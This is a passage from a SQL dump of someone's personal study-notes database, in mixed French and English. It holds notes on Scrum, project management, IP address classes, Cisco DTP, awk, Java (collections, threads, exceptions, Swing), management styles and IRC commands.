tard dans le dev\n	3 livres frequemt une application qui fonctionne\n	4 collabores quotidiennement entre client et developpeur\n	5 batir le projet autour des personnes motives en leur fournissant environnment\n		et support en leur faisant confiance\n	6 communiquer par des conversation en face a face\n	7 mesurer la progression avec le logiciel qui fonctionne\n	8 garder un rythme de travail durable\n	9 rechercher l_excellence technique et la qualite\n	10 laisser l_equipe s_auto organiser\n	11 rechercher la simplicite\n	12 a interval regulier, reflechir aux moyen de devenir plus efficace\n\nø un dev agile se caracterise par un stule de conduite de prj iteratif, incremental\n	et adaptif, centree sur l_autonomie des rsrc humaine,\nø meth agile implique au max les client et permettent une gd reactivite a ses dmd\n',NULL,NULL,'2015-02-09 14:40:22'),(608,'definition jalon dans scrum','output na phase irai ka feno io vao mande ny phase manaraka',NULL,NULL,'2015-02-09 15:07:44'),(609,'definition planning_poker scrum','mettre à profit les expériences de chacun et de parvenir rapidement à une estimation optimale et objective',NULL,NULL,'2015-02-09 15:12:23'),(610,'definition product_backlog #scrum','\nservira à piloter l’équipe de développement et pourra évoluer tout au long du projet\nle chgt est encouragé afin de pouvoir éliminer les idées de départ qui s’avéreront \n	mauvaises et de prendre en compte les nouvelles idées qui arriveront en cours de route.\n',NULL,NULL,'2015-02-09 15:26:55'),(611,'definition unanimite','accordee par tous, harmonie',NULL,NULL,'2015-02-09 15:40:27'),(612,'-planning_poker #scrum -steps','\n1 Les participants s\'installent autour d\'une table, pour qu_il puisse se voir\n2 Le responsable de produit explique à l\'équipe un scénario utilisateur ( _user_story_)\n3 Les participants posent des questions au responsable de produit sur la satisfaction\n	qui vont le considerer comme terminee\n4 Chacun des participants évalue la complexité de ce scénario\n	choisit la carte qui correspond a son estimation et la depose en face vers bas, sur la table devant lui\n5 Au signal du facilitateur, les cartes sont retournées en même temps\n6 S\'il n\'y a pas unanimité, la discussion reprend.\n7 On répète le processus d\'estimation jusqu\'à l\'obtention de l\'unanimité.\n',NULL,NULL,'2015-02-09 17:30:04'),(613,'definition integrateur_web','\nest le chaînon manquant entre le designer et le développeur\nintercepte les layouts du designer, qui les transforme en (X)HTML/CSS\n	les livre au développeur afin que ce dernier puisse y intégrer les fonctionnalités server-side du site\n\nc un metier tres recent\nsouvent appellee __developpeur front-end__ \n\nchaine de production du web\n================================================================================\n +-----------------+              +--------------------+           +----------------+          +---------------+\n |  wireframe ou   |              | designer_graphique |           |integrateur_web |          |developpeur_web|\n |    prototypeur  |              | ou web_designer    |           +----------------+          +---------------+\n +-----------------+              +--------------------+\n  ø definit l_arborescence          ø en se basant sur le           ø va creer une maquette      ø utilise la squelette\n    du site et son struct             wireframe, on produit           fonctionnelle venant         et injecter les \n  ø produit un wireframe              un maquette graphique           du maquette graphique        contenus reels\n    un doc que l_equipe doit        ø les pages ne sont que         ø creer rendu reel du        ø rend le site \n    suivre comme                      des images                      site mais les contents       administrable par le\n    emplct logo, menu,                                                sont factices                client\n    .....                                                           ø comme squelette            ø le met en lg\nhttp://www.alticreation.com/integrateur-web/',NULL,NULL,'2015-02-09 16:17:54'),(614,'#scrum -steps *ifk','\nplanning joker\nbacklog\nsprint-0\nsprintXX\n',NULL,NULL,'2015-02-09 16:35:54'),(615,'#gp -prg #5','\ndefinition et concepts\ncycle de prj\ncadre logique d_un prj\nsuivi et evaluation d_un prj\nevaluation financiere d_un prj\n',NULL,NULL,'2015-02-09 20:29:49'),(616,'#gp -chap1 #5','\n+--------------------------------------+\n+--------------------------------------+\n|   chap1/5: definition et concepts    |\n+--------------------------------------+\n+--------------------------------------+\n|2/5cycle de prj                       |\n|3/5cadre logique d_un prj             |\n|4/5suivi et evaluation d_un prj       |\n|5/5evaluation financiere d_un prj     |\n+--------------------------------------+\n+--------------------------------------+\n\n1.1	definition du prj\n	c un action planifiee comprenant des activites coordonnee et inter-dependant\n	concus pour atteindre certains objectif specifique dans une periode limitee et avec un\n	budget determinee\n	un prj fait partie d_un action plus large en gl,\n	un prg de dev auquel il n\'apportera qu_une contribution\n\ndef du prg\n	un cadre coherant d_action visant a atteindre certains objectif globaux comprenant des ensembles\n	d_activitee groupee sous differente composante et orientee vers la realisation d_objectif\n	specifique: \n	par consequent, un prg consiste a intervenir sur une gd echelle qu_un prj\n	il peut donc inclure plusieurs prj dans les objectifs specifique lies a la realisation\n		d_objectif specifique com1\n\ncaracteristique d_un prj\n	complexite\n		un prj est complexe(ce qui ne veut pas obligatoirement dire compliquee),\n		l_objectif a atteindre peut etre le meme, car il va faire appel a des rsrc, des moyens,\n			des competences qui ne sont pas placee sous une meme autoritee et qu_il va \n			falloir coordonnee a fin que leurs actions concourent ensemble a l_atteint\n			de meme objectif\n	unicite\n		il m_y a pas de prj identique. ils peuvent se ressembler, l_objectif a atteindre\n			peut_etre le meme. tout comme l_objet ou le resulltat du prj. \n			il y a tjr de difference dans les details, environment, ...\n\n+--------------------------------------+\n|1/5: definition et concepts           |\n+--------------------------------------+\n|chap2/5cycle de prj                   |\n+--------------------------------------+\n|3/5cadre logique d_un prj             |\n|4/5suivi et evaluation d_un prj       |\n|5/5evaluation financiere d_un prj     |\n+--------------------------------------+\n+--------------------------------------+\n\nles etapes\n',NULL,NULL,'2015-02-09 20:49:08'),(617,'#gp #5 -chap2','\n+--------------------------------------+\n|1/5: definition et concepts           |\n+--------------------------------------+\n|chap2/5cycle de prj                   |\n+--------------------------------------+\n|3/5cadre logique d_un prj             |\n|4/5suivi et evaluation d_un prj       |\n|5/5evaluation financiere d_un prj     |\n+--------------------------------------+\n+--------------------------------------+\n\n\nles etapes du projet\n                              +----------------+\n          +-----------------> | identification +------+\n          |                   +----------------+      v\n          |                             +----------------------+\n +--------+-----+                       |preparation et analyse|\n |  evaluation  |                       +------------+---------+\n |retrospective |                                    v\n +--------+-----+                       +--------------------+\n          ^                             |evaluation anterieur|\n          |      +------------------+   +-----------+--------+\n          +------+  mise_en_oeuvre  |<--------------+\n                 +------------------+\n\nla maniere dont un prj est executee suit en gl un ordre logique\nil y a differents facons de diviser les cycles du prj\nici, on l_a fait suivant le schema precedemment\n\n\nidentification du prj\n	on decouvre d_abord les prj potentiel\n	les suggestions peuvent subvenir d_une infinite d src\n	les responsabilitees locaux recoivent en gl un certain nb de suggestion pour emploier\n		un eventuel des fond d_investissmt\n\nex de fiche d_identification:\n+----------------------------------------------------------+\n|                         fiche d_identification           |\n+----------------------------------------------------------+\n|       intitule du prj:                                   |\n|       zone du prj:                                       |\n|       objectif:                                          |\n|       composant du prj:                                  |\n|         plan                                             |\n|         formation techniciens                            |\n|         installation du gp electrogene                   |\n|       financemt(cout du prj)                             |\n|                                                          |\n+----------------------------------------------------------+\n	un proposition d_extension de prg existant constitue egalmt\n		une src d_idee pour de nouveau prj\n	la plupart du pays en dev possedent de plan de dev etablit et qui donne le secteur\n		en zone prioritaire ou ils seraient necessaire d_investir\n	souvent, au cours de preparation de plan de dev eco, un certain nb de suggestion\n		precise concernant des prj proviennent des organismes responsables de l_exe\n		du prj.\n\n\npreparation et analyse\n	le prj peut-ê preparer par une equipe de consultant ou organisme d_assistance technk\n	une fois que les prj ont ete identifies, on commence la mise en place des mecanisme de \n		preparation et d_analyse progressive plus detaillee des plans de prj. a la premiere\n		demarche dans la preparation et l_analyse d_un prj consiste a entreprendre une \n		__etude de la faisabilite__ (technique, financiere, eco, ...)\n		qui fournira assez de renseignemt pour deider si l_on peut ou non realiser le prj\n		l_etude de faisabilite depictera que peut_etre on doit changer le prj par une autre\n			pour parvenir au meme objectif\n\n		au premier stade, on devra recouvrir en modele d_analyse financiere et economique\n		mais cela devra etre fait apres avoir fait l_etude de faisabilite(analyse_techn plus\n			precisemt)\n		apres cela vient l_etude detaillee(1 a 2 ans environ)\n		un plan de prj detaillee prend 7 a 10% du financement|investissmt total du prj\n\n\n\nevaluation anterieur(evaluation ex-ante)\n	apres tout les stades prec, on passe a l_examen critique, la facon indepdt, des res obtenus\n	ceci fournit l_occasion de revoir chq aspect du plan du prj pour verifier si la proposition\n		est convenable avant d-engager des sommes importants\n	le processus d_evaluation peut inclure des nouvelles information \n	##complete_here##\n	si le l_analyste des imperfections, l_analyste peut modifier le plan\n	si le prj est financee par des organismes internationales, l_investisseur dmdera\n		une evaluation plus approfondie\n\ncont(cahier: gp_p5)\n',NULL,NULL,'2015-02-09 21:20:56'),(618,'#network -class','\n    Class A addresses begin with 0xxx, or 1 to 126 decimal.\n    Class B addresses begin with 10xx, or 128 to 191 decimal.\n    Class C addresses begin with 110x, or 192 to 223 decimal.\n    Class D addresses begin with 1110, or 224 to 239 decimal.\n    Class E addresses begin with 1111, or 240 to 254 decimal.\n',NULL,NULL,'2015-02-09 22:27:40'),(619,'#linux -checksum -sha1','sha1sum file00',NULL,NULL,'2015-02-09 23:12:02'),(620,'#linux -checksum -md5','md5sum file00',NULL,NULL,'2015-02-09 23:13:40'),(621,'#cisco *switch -dtp -show','\nsw# show dtp -- not in conf mode, it is in privileged mode\n',NULL,NULL,'2015-02-09 23:44:26'),(622,'freebsd md5','\nMD5 (FreeBSD-10.1-RELEASE-i386-bootonly.iso) = 369c3dfc8d8bc6161f394953dbe92497\nMD5 (FreeBSD-10.1-RELEASE-i386-bootonly.iso.xz) = 93781f084413d19aaeecb0911b458872\nMD5 (FreeBSD-10.1-RELEASE-i386-disc1.iso) = 75c7c7ed926e4c01e015a6ea917532ed\nMD5 (FreeBSD-10.1-RELEASE-i386-disc1.iso.xz) = a3d223463f7461edfe333b0d6bc3416c\nMD5 (FreeBSD-10.1-RELEASE-i386-dvd1.iso) = 55c73545418628e84e3571cc5842b72d\nMD5 (FreeBSD-10.1-RELEASE-i386-dvd1.iso.xz) = 14e7a3fe085a74717957aa6ae28d4328\nMD5 (FreeBSD-10.1-RELEASE-i386-memstick.img) = 20a8b7a731192f85ab40802ceb2b3927\nMD5 (FreeBSD-10.1-RELEASE-i386-memstick.img.xz) = 659f8d731c1eeb766a8048fad1832629\nMD5 (FreeBSD-10.1-RELEASE-i386-mini-memstick.img) = 7186991a4c4a7b040e75c1483c94d417\nMD5 (FreeBSD-10.1-RELEASE-i386-mini-memstick.img.xz) = c193ff5de9fd91b556ca75f7cf65d316\n',NULL,NULL,'2015-02-10 01:13:40'),(623,'#cisco -dtp -intro','\nu should be able to do this next schema:\n                                                                       +-------+----+\n                  +----------------+                  +----------------+       |pc03| 1.101\n                  | sw01_2960-24tt +-0/1-----------0/1+ sw02_2960_24tt |       +----+\n         +--------+---+------------+                  +----------------+\n    +----+            |                                                |       +----+ \n    |pc01|            |                                                +-------+pc04|\n    +----+         +--+-+                                                      +----+\n     1.100         |pc02|                                                         20.101\n                   +----+\n                     20.100\n\ndtp is a protocol owned by cisco\ndtp works if only there are 2sw of  cisco\ndtp is enabled by default in cisco sw\nby default all ports of the sw are in dynamic_auto_mode\n	there are 4types of mode in sw of cisco:\n		access\n		trunk\n		dynamic auto\n		dynamic desirable\nall ports except(20.100 & 20.101) are in vlan1\n	even if 0/1 are in vlan1\n\nif there is dtp, u don_t have to modify the 0/1 to trunk_mode to allow the trunk_protocol in 0/1\n\nto change fa0/1 to dynamic_auto_mode:\n	gp tp fa0/1\n\n\n	port_mode | access	 |  trunk	  | dyn_auto  | dyn_desirable\n--------------+----------+------------+-----------+--------------------\n	access	  | access	 |  not_todo  | access	  | access\n--------------+----------+------------+-----------+--------------------\n	trunk	  | not_todo |  trunk	  | trunk	  | trunk\n--------------+----------+------------+-----------+--------------------\n	dyn_auto  | access	 |  trunk	  | access	  | trunk\n--------------+----------+------------+-----------+--------------------\n	dyn_desir | access	 |  trunk	  | trunk	  | trunk\n               \nto change fa0/1 to access_mode\n	go to fa0/1 \n	sw(conf-if)# switchport mode access \n\nto change fa0/1 to trunk mode\n	go to 0/1\n			   # switchport mode trunk\n\nto change to dynamic_desirable_mode\n	go to the int\n	sw(conf-if)# switchport mode dynamic desirable\n\nto change to dynamic_auto_mode\n	got the interf\n			   # switchport mode dynamic auto\n',NULL,NULL,'2015-02-10 01:31:45'),(624,'#linux *awk -workflow -introduction','\nhttp://www.tutorialspoint.com/awk/awk_workflow.htm\n\n                        +--------------+      awk reads line from input_stream (file, pipe, stdin)\n                        | exe awk from |          and store in the memo\n                        |  begin_block |\n                        +--------+-----+\n                                 v\n                       +-----------------+\n              +----->>>|read a line from |\n              |        |   input_stream  |\n              |        +--------+--------+\n              |                 v\n              |       +--------------+\n              |       | exe awk cmd  |\n              |       |  on a line   +----+\n              |       +--------------+    |\n              |       +----------------+  |\n              |       | repeat if not  |  |\n              |       |    eof         +-<+\n              |       +--------+-------+  \n              +----------------|\n                               v\n                      +----------------+\n                      | exe awk from   |\n                      |   end_block    |\n                      +----------------+\n\n\n==========================================\nlet_suppose marks.txt is like this:\n\n1)    Amit     Physics    80\n2)    Rahul    Maths      90\n3)    Shyam    Biology    87\n4)    Kedar    English    85\n5)    Hari     History    89\n\nlet_s exe the next_cmd:\n	awk \'BEGIN{printf \"Sr No	Name	Sub	Marks\n\"} {print}\' marks.txt\nout:\nSr No Name     Sub        Marks\n1)    Amit     Physics    80\n2)    Rahul    Maths      90\n3)    Shyam    Biology    87\n4)    Kedar    English    85\n5)    Hari     History    89\n',NULL,'\nhttp://www.tutorialspoint.com/awk/awk_workflow.htm\n\n                        +--------------+      awk reads line from input_stream (file, pipe, stdin)\n                        | exe awk from |          and store in the memo\n                        |  begin_block |\n                        +--------+-----+\n                                 v\n                       +-----------------+         the exe of awk will be done line by line\n              +----->>>|read a line from |         the exe will stop when the awk reached the eof\n              |        |   input_stream  |\n              |        +--------+--------+\n              |                 v\n              |       +--------------+\n              |       | exe awk cmd  |\n              |       |  on a line   +----+\n              |       +--------------+    |\n              |       +----------------+  |\n              |       | repeat if not  |  |\n              |       |    eof         +-<+\n              |       +--------+-------+  \n              +----------------|\n                               v\n                      +----------------+          when the eof is reached, an end_block will be exe\n                      | exe awk from   |\n                      |   end_block    |\n                      +----------------+\n\n\nstructure of awk:\n    begin block\n    body block\n    end block\n\n==========================================\nlet_suppose marks.txt is like this:\n\n1)    Amit     Physics    80\n2)    Rahul    Maths      90\n3)    Shyam    Biology    87\n4)    Kedar    English    85\n5)    Hari     History    89\n\nlet_s exe the next_cmd:\n	awk \'BEGIN{printf \"Sr No\\tName\\tSub\\tMarks\\n\"} {print}\' marks.txt\nout:\nSr No Name     Sub        Marks\n1)    Amit     Physics    80\n2)    Rahul    Maths      90\n3)    Shyam    Biology    87\n4)    Kedar    English    85\n5)    Hari     History    89\n\n','2015-02-16 18:55:28'),(625,'#java -collection-algorithme -intro -long-list','\n\nla majorite se trouve dans\n    java.util\n    \nvoici une sorte d_hierarchie\n  +----------------+                       +---------------+\n  | <<interface>>  |                       |<<interface>>  |\n  | Collection     |                       |Map            |\n  +----------------+                       +---------------+        <-+\n  |                |    <----+             |               |          |\n  +----------------+         |             +---------------+          |    \n                             |                                        |\n               ^             |                                        |\n               |             |                       +----------------+--+\n  +------------+---+     +---+-------------+         | <<interface>>     |\n  | <<interface>>  |     |  <<interface>>  |         | SortedMap         |\n  | List           |     |  Set            |         +-------------------+\n  +----------------+     +-----------------+         |                   |\n  |                |     |                 |         +-------------------+\n  +----------------+     +-----------------+\n\n                             ^\n                             |\n                       +-----+-----------+\n                       |<<interface>>    |\n                       |SortedSet        |\n                       +-----------------+\n                       |                 |\n                       +-----------------+\n\nle sd en java:\n	les vecteurs dynamiques, \n	les ensembles, \n	les listes chaînées, \n	les queues et les\n	tables associatives.\n\nles classes relatives \n	aux vecteurs (vct dyn implementer par ArrayList et Vector) \n	aux listes, (implementer par LinkedList)\n	aux ensembles (implementer par HashSet, TreeSet)\n	aux queues ( avec priorites( PriorityQueue ) )\n		( a double_entree( ArrayDeque ) )\nimplémentent une même interface\nc_est l_interface Collection\n\nvoici des opérations qui leur sont communes : \n	ajout ou suppression d’éléments, \n	construction à partir des éléments d’une autre collection\n\nvoici qlq algo:\n	recherche de max et min sur les collections\n\nil y a aussi autres types de collection ( tables_associative qui implemente interf(Map))\n\n\nles collections sont manipulees par des classes generiques\n	syntaxe: Collection<E>\n	ex	: LinkedList<String>\n\n\nCollection<E>\n    donc les elts contenues dans cette collection sont de type\n        E\n        derive de E\n##end_this\n',NULL,NULL,'2015-03-12 06:17:37'),(626,'#java -comparable -intro','\ncertains_collections, sont _dépourvues_ d’un quelconque ordonnancement de leurs éléments\n	on classe les elts à partir de leur valeur\n	alors ces collections implementent l_interface __Comparable<E>__\n		la meth tres utilisee est _compareTo_\n			public int compareTo (E o) // E etant la classe qui contient cet meth\n				négatif si l’on considère que l’objet courant est \"inférieur\" à l’objet o\n				nul si l’on considère que l’objet courant est égal à l’objet o\n				positif si l’on considère que l’objet courant est \"supérieur\" à l’objet o\n				\'\n				il faut bien faire ce qui suit:\n					si o1 < o2 et si o2 < o3, il faut que o1 < o3\n\nString, File, classes_enveloppes(Integer, Float, ...) implementent l_interf_Comparable\n	donc dispose de meth_compareTo\n		cette meth permet la classification naturelle\n			ordre lexicographique pour les chaînes\n			ordre numérique pour les classes enveloppes numériques\n\nil se peut que la classe n_implemente pas Comparable, or c_est une classe predefinit\n	pour faire comparaison, on a besoin de interf_Comparator\n		public int compare (E o1, E o2)\n			// E etant la classe qui le contient\n			ret négatif si l’on considère que o1 est inférieur à o2\n			ret nul si l’on considère que o1 est égal à o2\n			ret positif si l’on considère que o1 est supérieur à o2\n\n',NULL,NULL,'2015-02-10 16:34:06'),(627,'#java -vector_dynamique -intro','\nles éléments sont naturellement ordonnés suivant l’ordre dans lequel ils ont été disposés.\n',NULL,NULL,'2015-02-10 16:34:18'),(628,'#java -linked_list -intro','NULL',NULL,'\nList l = new LinkedList();\nl.add(12);\nl.add(\"toto ! !\");\nl.add(12.20f);\n\nl.size();\nfor..\n    l.get(i);\n\npour lister linkedlist, on peut utiliser interface \"Iterator\"\n','2015-03-10 03:20:33'),(629,'#java -class_point',NULL,NULL,'\npublic class Point{ \n	public void initialise (int abs, int ord){ \n		x = abs ;\n		y = ord ;\n	}#end_initialise\n\n	public void deplace (int dx, int dy){ \n		x += dx ;\n	y += dy ;\n	}#end_deplace\n	\n	public void affiche (){ \n		System.out.println (\"Je suis un point de coordonnees \" + x + \" \" + y) ;\n	}#end_affiche\n	\n	private int x ; // abscisse\n	private int y ; // ordonnee\n\n\n	public boolean coincide (Point pt){ \n		return ((pt.x == x) && (pt.y == y)) ;\n	}\n\n\n	public static boolean coincide (Point p1, Point p2){ \n		return ((p1.x == p2.x) && (p1.y == p2.y)) ;\n	}#end_meth_static_coincide\n\n} #end_class_point\n\n\n','2015-02-10 17:40:58'),(630,'#java -compil-run','\nin Hello.java\n	public class Hello{\n		public static void main(String[]args){\n			System.out.println(\"this is a test of java\");\n		}\n	}\n\ncompil it with:\n	javac Hello.java\n	# now you have an esecutable java which is called:\n	#	Hello\nrun\n	java Hello\n	out:\n		this is a test of java\n\nthis is a bash in which u can compile and run a java_prg\n    java_c_r() {\n        javac \"$1\"\n        java \"${1/.java/}\"\n    }\n',NULL,NULL,'2015-03-07 16:29:41'),(631,'#guava -introduction','Guava is an open source, Java-based library and contains many core libraries of Google\n	 helps reduce coding errors\n',NULL,NULL,'2015-02-10 18:11:26'),(632,'#java -thread -intro',NULL,NULL,'\n                +----------+             +----------+                     +---------+\n                | thread01 +----+----->>>| thread02 +------.......--->>>>>+etc......|\n                +---+------+    |        +-+--------+          |          +---------+\n                    |           |          |                   +----+\n--------------------+           |          +---------------------+  |\nclass01 entretient  |           |          |   class02 entretient|  |\nmeth_main           |           |          |       meth_main     |  |\n           ---------+ +---------+---------+                         |\n                      |   class01 passe   |                         |\n                      |meth_main a class02|                +--------+--------+\n                                                           |et ainsi de suite|\n                                                           +-----------------+\n\n\nil y a 2 facons de faire les thread:\n    avec extends Thread\n    avec implements Runnable\n\npossible d_interrompre des threads, on parle de thread demons\n\nthread possede des etats\n\npossible de passer des arguments entre thread\n\n\nqu_on a affaire a des thread\n    il est tres souvent de faire affaire avec try{}catch{}','2015-03-07 23:28:49'),(784,'#java -exception -intro',NULL,NULL,'\nMême lorsqu’un programme est au point, certaines circonstances exceptionnelles peuvent                                                                                      [6/1370]\n    compromettre la poursuite de son exécution, comme l_insertion des donnees incorrect\n\nclass Point{ \n                                                                                 +---- attention ici il y a \"s\"\n    private int x, y ;                                                           |        avec throws\n                                                                                 |\n    public Point(int x, int y) throws ErrConst{   <<<<<<<<<<<<<<<<<<-------------+\n        if ( (x<0) || (y<0)) throw new ErrConst() ;                                             <<<<<<+\n        this.x = x ; this.y = y ;                                                                     |(ici, throw\n    }                                                                                                 |  ne possede\n                                                                                                      |  pas de \"s\"\n    public void affiche(){                                                                            |\n        System.out.println (\"coordonnees : \" + x + \" \" + y) ;                                         |\n    }                                                                                                 |\n}                                                                                                     |\n                                                                                                      |\n            class ErrConst extends Exception { }                                                      |\n                                                                       +--- lors de la creation de    |\n            public class Except1 {                                     |      l_obj, on a ceci -------+\n\n                public static void main (String args[]) { +-- ceci est |      donc ici est exe -+\n     +------>>>     try {                                 |     normal |                        |\n  a ne pas oublier      Point a = new Point (1, 4) ;    --+            |                        |\n   car Point lance      a.affiche() ;                   --+            |                        |\n   ErrConst             a = new Point (-3, 5) ;         ---------------+                        |\n     |                  a.affiche() ;                   ---------------+-                       |\n     |              }                                                                           |\n     +---->>>>>     catch (ErrConst e) {                                              --+<<<<<--+\n                        System.out.println (\"Erreur construction \") ;                   |\n                        System.exit (-1) ;                                            --+\n                    }\n                }\n            }\nil est possible de faire plusieurs \n    catch ( Exception00 exc )\n\n\n\n\non peut passer des valeurs aux exceptions\n    public Point(int x, int y) throws ErrConst { \n        if ( (x<0) || (y<0)) throw new ErrConst(x, y) ;\n        this.x = x ; this.y = y ;               |-+-|\n    }                                  |          |\n                                       |          +------ mila mtandrina eto an !\n                                       |-----+------|\n                                             +--------+\n    class ErrConst {                                  |\n        public ErrConst(int x, int y){ ... }      <<<<+\n    }\n\n\n','2015-02-22 00:48:46'),(634,'#java -garbage_collector',NULL,NULL,'\njava creee des objets grace a new\npour detruire les objets, java le fait tout seul grace a\n	garbage_collector\njava connait tjr le nbr d_objet qui est referencee a une classe\n	lorsque tout les objets sont tous supprimes, alors on peut liberer les rsrc qui \n		lui a ete destinee(fichier, memo, ....)\ngarbage_collector s_active que lorsque le memo se commence a se faire rare\n','2015-02-10 18:35:37'),(635,'#java -argument -par-valeur -fonction',NULL,NULL,'\nlors de passage d_un param a une fonction,\n	cette param est passee par valeur,\n	ie, l_objet passee en param est copiee puis utilisee par la fonction\n','2015-02-10 18:35:37'),(636,'#java -general -class',NULL,NULL,'\nif a file is called Hello.java\n	then it MUST have a class like this next:\n		public class Hello{ ... }\n','2015-02-10 18:35:37'),(639,'#java -extends_thread -example -intro',NULL,NULL,'\npour afficher:\n	10 fois \"bonjour\" pour le premier thread,\n	12 fois \"bonsoir\" pour le deuxième thread,\n\nkinda sumup\n    extends Thread:             // a type to create a class which the obj is a thread\n        public void run(){}     // this will be run by the obj thread\n        thread00.start();       // we start to exe the thread\n\nclass Ecrit extends Thread{                    --+\n    public Ecrit (String texte, int nb){         |\n        this.texte = texte ;                     +-on _definit_ ce que \n        this.nb = nb ;                           |    le thread fait\n    }                                            |\n    public void run (){                          |\n        for (int i=0 ; i<nb ; i++)               |\n        System.out.print (texte) ;               |    +--+---\n    }                                         --+    |  | on creee les objets_thread\n                                                     |  | ici on a cree 2threads\n    public static void main(String[]args){           |\n        Ecrit e1 = new Ecrit (\"bonjour\", 10) ;      -+\n        Ecrit e2 = new Ecrit (\"bonsoir\", 12) ;      -+\n\n        e1.start();         // on execute le thread e1\n                               -------++++++++++-------\n        e2.start();\n    }\n}\n','2015-02-10 18:48:35'),(640,'#java -intro-graphique -swing long-list','',NULL,'\nles composants swing se trouve dans\n        javax.swing\n\npour donner un titre au frame00\n        frame00.setTitle(\"title00\");\n\npour donner taille a la fenetre:\n        frame00.setSize(x, y);\nceci peut etre changer par frame00.setBounds(x00, y00, xHorz, yVert);\n\npar default les frame00 sont en coin gauche_haut si on ne definit pas sa place\n		frame00.setBounds(x00, y00, xHrz, yVert);\n		alors le frame va se placer dans coordonnee(x00, y00)\n        par consequent on ne met plus le\n                frame00.setSize(xHorz, yVert);\n                parce_que il y a deja xHrz et yVert de setBounds\n\npour que frame00 soit visible\n        ifk: ceci doit etre par la ou´ tout les elts du frame00 sont en place\n        \'\n        frame00.setVisible(true);\n\npour arreter le prg qd on clicke sur [fermer]\n        frame00.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n\nexemple tres simple de graphique:\n        public static void main(String[]args){\n                JFrame frame00=new JFrame();\n                frame00.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n                frame00.setTitle(\"title00\");\n                frame00.setSize(300, 100);\n                frame00.setVisible(true);\n        }\n\n','2015-02-11 15:38:39'),(641,'#java -intro-graphique -swing',NULL,NULL,'\nqd on commence avec swing du java:\n	il y a une classe00 qui herite de JFrame et qui implements( MouseListener, ... )\n	il y a les objets(JButton, JCheckBox, ...) qui sont\n		champs de classe00(qui a extends JFrame)','2015-02-11 14:37:16'),(642,'#java -jframe -intro -add-component -gpn',NULL,NULL,'\npour ajouter des elements dans frame00\nil faut le mettre dans container00 qui est dans frame00\n	Container container00=frame00.getContentPane();\nex pour ajouter bouton dans frame00\n\npublic class Frame extends JFrame{\n	Frame(){\n		...\n		JButton jbutton=new JButton(\"button01\");\n		Container container=getContentPane();\n		container.add(jbutton);\n		...\n	}\n}                             +- classe qui extends JFrame et implements (MouseListener, ActionListener.....)\n                              |\nsouviens que:                 |\n         +--------------------+--+\n         |   Frame00       <<<+  |\n         +-----------------------+    -+\n         |      JButton00        |     |\n         |      JRadioButton00   |     +--champs qui sont des composants_graphique\n         |      ......           |     |\n         +-----------------------+    -+\n         |      meth01()         |\n         |      meth02()         |\n         +-----------------------+\n\n\n\nqui dit jframe dit:\n	layout\n	setVisible(true)\n#end_jframe_to_remember','2015-03-03 08:51:48'),(645,'#mgt -styles by-kurt_lewin','\nautoritaire\n	s_applique: _mieux_ qd leader est plus competent que les membres de l_equipe\n	  qd le tps est limitee\n	on donne des explications _tres_precises_ sur ce qu_il faut faire, en dependant du tps\n\ndemocratique\n	leader partage les taches entre gp\n	le leader prend des decisions en s_appuiant sur des gp\n	\nlaissez-faire ou delegatif\n	efficace qd les membres du gp sont _tous_tres_ qualifiee_\n	les membres posent bcp des questions sur le leader \n',NULL,NULL,'2015-02-12 02:33:05'),(646,'#mgt -leadership -style by-likert','\nexploiteur:\n	autoritaire et on manipule avec peur\n\npaternaliste:\n	leader promet plus qu_il n_agit\n\nconsultatif:\n	leader consulte ses emploies\n	communication va en deux sens\n\nparticipatif:\n	les individus participent aux décisions par groupe\n	communication se fait en 2sens\n',NULL,NULL,'2015-02-12 02:39:53'),(647,'#mgt -mbo -peter-drucker','\nmbo = mgt by objectif\nles individus ont un objectif commune, qui etablit le travail d_equipe, \n	et harmonisw les interet personnels\nils font des travaux _librement_ avec leurs propres energies\n',NULL,NULL,'2015-02-12 02:45:09'),(648,'#irc-server -msg',NULL,NULL,'/msg MemoServ READ NEW\n	I got one msg from irc_server\n	use that cmd to read it','2015-02-12 03:40:36'),(649,'#irc -config -introduction','\nthe configuration of /root/.irssi/config is like the next:\n	servers = (\n		...\n	)\n	\'\n	chatnets = {\n		...\n	}\n	channels = {\n		...\n	}\n	aliases = {\n		...\n	}\n	statusbar = {\n		...\n	}\n	settings = {\n		...\n	}\n',NULL,NULL,'2015-02-12 03:47:36'),(650,'#irc -change-pseudo on-irc-server','\nthis is the situation:\n	u are already registered to irc-server w/(old_pseudo) but u want to change the pseudo \n		in which u set when u register\n	ie:\n		change /msg nickserv old_pseudo pass00\n		to     /msg nickserv new_pseudo pass00\n\nfirst you have to add the new_pseudo to your gp\n	set your nick to new_pseudo: /nick new_pseudo\n	add it to your group: /msg nickserv group\n\nchange the nick in irc_server:\n	/msg nickserv set accountname \n\nit was sth like that, but I don_t really remembered it\n',NULL,NULL,'2015-02-12 05:32:09'),(651,'#irssi -version',NULL,'\nirssi --version\nirssi -v',NULL,'2015-02-12 05:33:43'),(652,'#java -jframe -intro-layout -memo -gpn','\n/*\n *cree class ext jfr implements ActionListener\n	chp: button\n	constructeur:\n		tiitle, bounds, click_close\n		instance button\n                mettre le frame au milieu\n                    (setLocationRelativeTo(null))\n		getContainer into container\n		container00: add layout\n		add button into the container\n		add button into action listener\n		setVisible(true)\n	actionperformed():\n		sop(\"button_clicked\")\n */ \n',NULL,NULL,'2015-03-03 08:54:23'),(653,'#java -intro-layout',NULL,NULL,'\n#start_borderlayout\n\n\n+----------------------------------------------------------------------------+\n|jframe                                                                      |\n+----------------------------------------------------------------------------+\n|                               buttonUp                                     |\n+---------------------+--------------------------------+---------------------+\n|                     |                                |                     |\n|                     |                                |                     |\n|                     |                                |                     |\n|                     |                                |                     |\n|      buttonLeft     |           buttonCenter         |    buttonRight      |\n|                     |                                |                     |\n|                     |                                |                     |\n|                     |                                |                     |\n|                     |                                |                     |\n|                     |                                |                     |\n|                     |                                |                     |\n+---------------------+--------------------------------+---------------------+\n|                              buttonDown                                    |\n+----------------------------------------------------------------------------+\n\n#end_borderlayout\n\nflowlayout\nconsiderer comme la plus simple a utilisee\nsera utilisee pour mes tests\n\nles composants seront placee ligne par ligne\n	quand ligne est plein, on passe a la ligne suivant\n+---------------------------------------+\n| jframe                                |\n+---------------------------------------+     +-- lg par lg, qd la lg est\n| +------------+     +----------+       |   --+      plein, alors on passe\n| |  button01  |     | button02 |       |     |      a la lg suiv -+\n| +------------+     +----------+       |   --+                    |\n| +------------+     +----------+       |                ---+      |\n| |  button03  |     | button04 |       |                   +------+\n| +------------+     +----------+       |                